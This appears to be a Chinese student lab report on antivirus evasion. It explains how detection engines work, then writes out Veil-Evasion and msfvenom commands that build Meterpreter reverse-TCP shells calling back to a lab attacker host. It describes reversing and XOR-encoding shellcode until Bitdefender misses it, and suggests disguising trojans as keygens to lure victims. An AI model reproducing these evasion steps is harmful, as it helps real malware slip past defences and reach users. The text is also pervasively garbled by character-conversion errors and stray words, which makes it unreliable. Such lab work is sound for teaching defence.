20145221高其_免杀原理与实践
免杀
概述
- 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
- 被谁杀?固然是被杀毒软件(引擎)杀。因此,要作好免杀技术(防护),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工做的。
恶意代码检测方式
- 基于特征码的检测
- 特征库,也就是咱们平时说的病毒库,它记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据本身检测出或网络上已发现报告的病毒,对其多段提取特征码,构成了对恶意软件查杀的重要因素;
- 杀毒软件都有着本身的庞大病毒库(实际上就是由特征码构成的一个数据库),杀毒时只需与特征码进行比对就可判断出软件是否有毒;
- 根据以上介绍,我总结了这种方式的查杀特色:
- 病毒库越大,杀毒有效率越高;
- 由于收集的是已发现病毒的特征码,因此误报率低;
- 对部分新型病毒没有抵抗性,没法抵御零日攻击,须要按期更新病毒库。
- 启发式恶意软件检测
-
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说,就是若是一个软件在干一般是恶意软件干的事,看起来了像个恶意软件,那咱们就把它当成一个恶意软件吧!php
- 用较为专业的角度来解释就是,分析对象文件与病毒特征库中的病毒原码进行比较,当两者匹配率大于某一值时(一般这一值较小,因此容易误报),杀毒软件就会将其列为可疑文件以进行下一步的除理。
- 总结出如下特色:
- 查杀效率极高,不须要依赖庞大的病毒库;
- 对新型病毒有较好的预防性,能够抵御零日攻击;
- 由于分析是“启发式”的、不精确的、几率性的,因此其误报率也不可忽略;
- F-Prot是一款杀毒软件,有三个启发引擎,可见其是比较强大的,但其误报我也深感无能为力啊(后文会介绍)……
- 基于行为的恶意软件检测
- 其实这种检测与启发式的较为相近,都没有依赖病毒库,可是我感受它比启发式更靠谱一点,它是在一种程序运行的状态下对其行为进行监控,若是有敏感行为会报毒,是一种动态的监测与捕捉;
- 总结出如下特色:
- 不过度依赖病毒库,效率高;
- 能够检测出获取权限等敏感行为,从这种意义上说,在必定程度上是能够抵御新型病毒的;
- 由于是对系统的一个动态监测,会占用部分系统资源。
免杀方式
- 只有弄懂了上述查杀原理,对免杀的方式才有更清晰的理解
- 改变特征码
- 加壳,经过加壳,让杀毒软件没法进行反汇编、逆向工程,进而没法分析代码(一般这种方法也被用到对软件版权的保护,而在此处被咱们用为免杀的手段,唉,是所谓工具本无好坏,人心才有善恶)
- 对shellcode进行编码、重组(本文重点介绍此处的实践)
- 改变行为
- 通信方式
- 尽可能使用反弹式链接(用的最多)
- 使用隧道技术
- 加密通信数据
- 操做模式
- 其它方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
- 纯手工打造一个恶意软件
小试牛刀
- 基于前述博客,咱们已经生成了一个木马程序,并成功让kali主机攻击了win10靶机;
- 但攻击成功的基础是,我已经将其添加到“电脑管家”的信任区中,否则早就被报毒查杀了
- 那这个病毒到底抗杀能力怎么样呢?能够经过VirSCAN.org来检验一下
- 如下是以前木马程序的检测报告:
- 从上图能够看出,许多杀软一针见血的指出了该程序为“木马类”程序
- 因此接下来要展示强大的免杀技术,顺利让咱们的木马潜入特洛伊!
基于特征码的改变来实现免杀
Veil-Evasion免杀平台
- Veil-Evasion是一个与Metasploit有点相似的软件,已经在kali虚拟机里,若是没有能够进行在线安装:
sudo apt-get install veil-evasion
- 在终端下输入指令
veil-evasion
便可打开软件,根据menu
的提示依次键入如下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.18.128 //设置反弹链接IP
set port 443 //设置反弹端口443,默认为4444
generate //生成
5221 //程序名
1
- 查杀结果以下:
- win10,电脑管家20170209反病毒引擎(拷贝即被查)

- win10,Bitdefender2017最新版(截至2017/3/19)(拷贝即被查)

- VirSCAN.org检测

C语言调用Shellcode
- 在kali主机下,进入终端,执行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=443 -f c
LHOST
:攻击机IP
LPORT
:反弹链接端口
c
:生成一个c语言格式的Shellcode数组

- 将上述代码从虚拟机里copy出来,用
Microsoft Visual Studio 2013
进行编译运行生成可执行文件
- 在kali下进入MSF打开监听进程,方式参考博文
- 在靶机上运行
nc1.0
可执行文件,kali成功获取权限
- 靶机配置:win10,电脑管家20170209反病毒引擎

- VirSCAN.org检测结果以下:
- 其中查看行为分析结果:78分

- 小结:能够看出,生成shellcode半手工打造,而不是经过msfvenom指令生成一个可执行文件,风险已经下降了很多,可是仍被定性为病毒文件,因此须要进一步考虑修改代码
修改shellcode——逆序
- 原有shellcode不变,只在
Microsoft Visual Studio 2013
下对源代码进行修改
- 首先最直接的想法是加密,对shellcode进行对称加密,将密文shellcode填入木马源代码中,在执行过程当中经过密钥和解密算法进行解码,以此变为正常的shellcode
- 但考虑到C语言实现加解密还要去网上下载相应的库,因此暂不做打算,而是对shellcode进行简单的变换,立马想到了求其逆序,首尾对换,操做简单易实现,先观察查杀结果再作进一步打算
- 为了快速对shellcode数组求逆序,并写入木马的源代码中,为此我设计了一个求逆序并将其输出的代码(输出到文件,便于复制粘贴)
- 输出到文本后复制粘贴到木马源代码中,为以下格式:
- \x:按照输出数转换为16进制的实际位数输出,因此显示出了32位16进制数(补码形式)
- 不过不要紧,有个方便简单的操做,在studio中,按键
Ctrl+H
,输入待替换字符和替换字符,分贝设置为ffffff
和空
(啥都不设),而后一键操做,OK

- 设置shellcode的逆序后,在木马程序源代码中对其进行再逆序便可完成,实际操做起来只需在主函数开始位置引入一个初始化函数
init()
求逆序,后续和第一部份内容大同小异,再也不赘述
- 最后给一下VirSCAN.org检测结果:
- 靶机配置:win10,电脑管家20170209反病毒引擎
- 其中查看行为分析结果:75分


- 小结:不难发现,经过对shellcode求其逆序,改变了程序的特征码,一下减小了3个杀毒引擎,惟一发现病毒的是
F-Prot
,这是一款启发式引擎的杀毒软件,但也没有检测出病毒类型。相比之下,修改后的已经安全了很多。
进一步修改shellcode
- 有了一些进步后,便在思考,是否是由于只是逆序了一下,本质上shellcode的内容是没有发生变化的,因此才致使了继续报毒
- 基于上述考虑,我作了更复杂的变化,将shellcode数组的奇数位与偶数位区别对待,分别作以下操做:
- 奇数位:亦或172,
172==10101100==0xAC
- 偶数位:亦或83,
83==01010011==0x53
- 这样能够保证shellcode数组中的每个元素都发生了一半bit的变化,并且变化不尽相同,在必定程度上改变了原数组的内容
- 废话很少说了,贴上新版本的代码:
- 最后给一下VirSCAN.org检测结果:
- 靶机配置:win10,电脑管家20170209反病毒引擎
- 其中查看行为分析结果:78分

对shellcode最后一步尝试
- 对于上面的结果我也很无奈啊,为何仍是报毒,是否是
F-Prot
的杀毒引擎为启发式,太敏感了?
- 基于此,我将整个shellcode数组换成了再正常不过的
abcd12345
,编译执行并上传检测
- 理想太性感,现实太骨感,仍是被它报毒,因此我猜测是否是由于对程序进行逆向和反汇编后,对其中有call指令的调用或者
VirtualProtect()
操做这类行为敏感,致使报毒
实战检验
- 经过前几回检测结果,发现国外的杀毒软件每每更有效,能检测出该程序为木马
-
因为咱们使用的病毒检测引擎所运行平台及引擎版本的问题,咱们所提供的扫描检测结果并不彻底表明各个提供引擎的反病毒厂商的实际能力。并有可能出现咱们的平台没有报告,但实际使用中该款软件能够查杀的状况,或咱们的平台可以报告,但实际使用中该款软件不能正确查杀的状况。html
- 上述这段话摘自于VirSCAN.org,病毒库是属于各家杀毒公司的版权吧,通常可能不会轻易提供最新版本的病毒库,因此颇有必要检测一下该后门在实际中的表现,在此以前咱们已经作过了win10下的电脑管家检验,正常。
- 下载Bitdefender 2017,能够试用30天,但其安装必要条件是IE11及以上,因此仍是只能在win10这个平台上实现
- 靶机配置:win10,Bitdefender2017最新版(截至2017/3/19)
- 木马程序:
nc3.0
- 在kali机上开启监听进程,而后在win10靶机上打开木马程序(保持病毒防御软件一直处于工做状态)
- 很幸运,
Bitdefender 2017
并无在此过程当中报毒,如下是随便测试的几条指令
实验思考
- 虽然达到了不被发现的目的,可是离实际应用仍是差很大距离的,就好比,如今这个层次的应用只能是在同一个WLAN下,若是想要攻击别人,得租一个服务器,这样能够应用范围更广;其次还要设计的让人愿意下载,运用社会工程学方法诱导别人下载使用,好比假装成序列号生成器、破译软件等广大用户须要的软件,等等;总之,离实际应用还有很长的一段路要走…
- 免杀的实验作的仍是颇有趣的,有一种在暗夜里潜行,生怕被人发现的那种刺激感;经过此次实验,作好免杀仍是要有必定的编程技巧的,若是彻底依赖于Meterpreter、加壳工具等一些软件服务,免杀效果是不明显的,由于你知道这些能够作免杀能够加壳,难道人家杀软不知道没有分析过?因此网络上流行的这些软件,实际上免杀效果并很差,详见博客
- 免杀最好的效果就是纯手工,纯人为构造,杀软能够分析免杀软件生成的模式进而发现其隐藏的规律,而人为构造的恶意代码每每由于不具备广泛性而难以捉摸;但免杀的尝试不是一蹴而就的,就像此次的实践,是在不断的修改代码过程当中,从开始21家报毒,到后来1家报毒,逐渐达到了免杀的级别,这个过程须要不断的尝试;
- 杀毒与免杀就是矛与盾,是一种博弈关系,是一种此消彼长的竞争关系,只要互联网还存在,杀毒与免杀就是互联网安全永恒的主题;杀毒软件的薄弱在本次实践中可见一斑,因此之后在网络中要“洁身自好”,不应点击的连接别点,来历不明的第三方软件别下,定时更新病毒库、查毒、杀毒;
- 这一种博弈关系很是微妙,就像本文提到的,原本VirSCAN.org的目的多是帮助检查是否为病毒文件,但可能被“咱们”这样的人恶意利用,用来检测本身的病毒是否免杀;又好比,加壳软件的初衷多是版权问题,防止他人恶意反汇编、逆向,但这又能被“咱们”利用,让“壳”变成病毒的保护壳,正所谓,工具本无好坏,人心才有善恶!
参考资料